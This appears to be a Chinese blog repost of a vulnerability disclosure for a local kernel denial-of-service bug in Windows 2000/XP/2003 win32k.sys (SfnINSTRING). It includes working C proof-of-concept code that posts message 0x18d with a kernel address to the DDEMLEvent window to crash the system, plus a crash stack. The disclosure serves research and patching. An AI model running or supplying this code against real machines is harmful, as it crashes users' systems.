Windows 2000/XP/2003 win32k.sys SfnINSTRING 本地内核拒绝服务漏洞

影响范围:Microsoft Windows 2000/XP/2003 全补丁

漏洞细节:

Win32k.sys 在DispatchMessage时,会最后调用到xxxDefWindowProc,这个函数在处理某些消息时,会调用gapfnScSendMessage这个函数表中的函数来处理,其中2000/xp/2003下在处理0x18d号消息时,会有一个名为SfnINSTRING的函数,这个函数当lParam不为空时,直接认为lParam是内存指针,并直接从地址中取出数据,尽管函数内使用了SEH,但是只要传递错误的内核地址,仍然会引发系统崩溃

测试代码:

#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[])
{

printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();
HWND hwnd = FindWindow("DDEMLEvent" , NULL);

if (hwnd == 0 )
{
   printf("cannot find DDEMLEvent Window!\n");
   return 0 ;
}

PostMessage(hwnd , 0x18d , 0x0 , 0x80000000);

return 0 ;
}

全补丁的XP运行此代码立即蓝屏

常见崩溃栈:

kd> kc

win32k!SfnINSTRING
win32k!xxxDefWindowProc
win32k!xxxEventWndProc
win32k!xxxDispatchMessage
win32k!NtUserDispatchMessage
….

Windows 7/Vista 无此问题

来源:

http://hi.baidu.com/mj0011/blog/item/6c74a1514c47f714367abebf.html

 

感谢:

感谢同事LYL帮忙测试发现此漏洞

发表评论?

0 条评论。

发表评论